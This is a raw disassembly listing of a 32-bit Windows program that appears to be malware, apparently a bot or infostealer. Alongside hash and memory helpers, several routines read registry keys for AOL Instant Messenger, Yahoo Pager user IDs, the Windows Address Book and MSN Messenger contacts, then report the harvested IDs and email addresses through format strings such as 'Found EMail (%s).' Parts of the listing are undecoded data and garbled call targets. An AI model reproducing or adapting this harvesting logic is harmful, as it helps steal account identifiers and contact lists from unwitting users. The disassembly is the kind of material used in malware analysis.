		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D116
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0D43D89C0h
		dd 0F3005103h, 778CBEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 6373E890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 3D4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2868h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
		dd 4DA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 249A25Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 0A216E890h
		dd 0C085024Ah, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004446h, 20244489h, 6203E890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
		dd 251A1BCh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24DA190h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 444D28h, 0E8694F8Dh,	0FFFCB62Dh, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
		dd 29E89052h, 8B024DA1h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
		dd 10C683FFh, 79DCFE81h, 8C0F0044h, 0FFFFFD2Ah,	17642D8Bh
		dd 448D0051h, 68501C24h, 20019h, 6868006Ah, 6800447Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A24h, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 7F649EE8h, 8C8D9077h, 2E824h, 7B5C6800h
		dd 0F08B0044h, 8A146851h, 90560044h, 1C608CE8h,	4E646800h
		dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h,	8D577574h
		dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
		dd 448D5374h, 0FC687C24h, 50004489h, 1C9EE890h,	0C4837781h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89E06851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0A6E85718h
		dd 907780AAh, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
		dd 24448B04h, 0E890501Ch, 24D9FD8h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489B868h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A246800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489B0h
		dd 6852F08Bh, 4489A0h, 5F7FE856h, 6890001Ch, 444E64h, 8F72E856h
		dd 8B907780h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44898468h
		dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h,	16F4249Ch
		dd 548D0000h, 68527C24h, 448968h, 0E8694B8Dh, 0FFFCB3EDh
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h
		dd 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h,	90560A74h
		dd 7F60FAE8h, 4C48377h,	1C24548Bh, 0D1E89052h, 8D024D9Eh
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
		dd 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2950000h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_448900
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		call	near ptr 2910000h
		nop
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488F4
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		call	near ptr 2950000h
		nop
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2950000h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F30
		push	eax
		nop
		call	near ptr 2900000h
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2910000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 28703F9h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		call	near ptr 2740000h
		nop
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		nop
		call	near ptr 28506B2h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		call	near ptr 2740761h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		call	near ptr 2740919h
		nop
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 2950000h
		nop
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, off_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A40
		push	ecx
		call	ebx ; sub_5FC011
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A34
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		push	64h
		nop
		call	near ptr 2841E5Ch
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2910000h


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B83+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2910000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
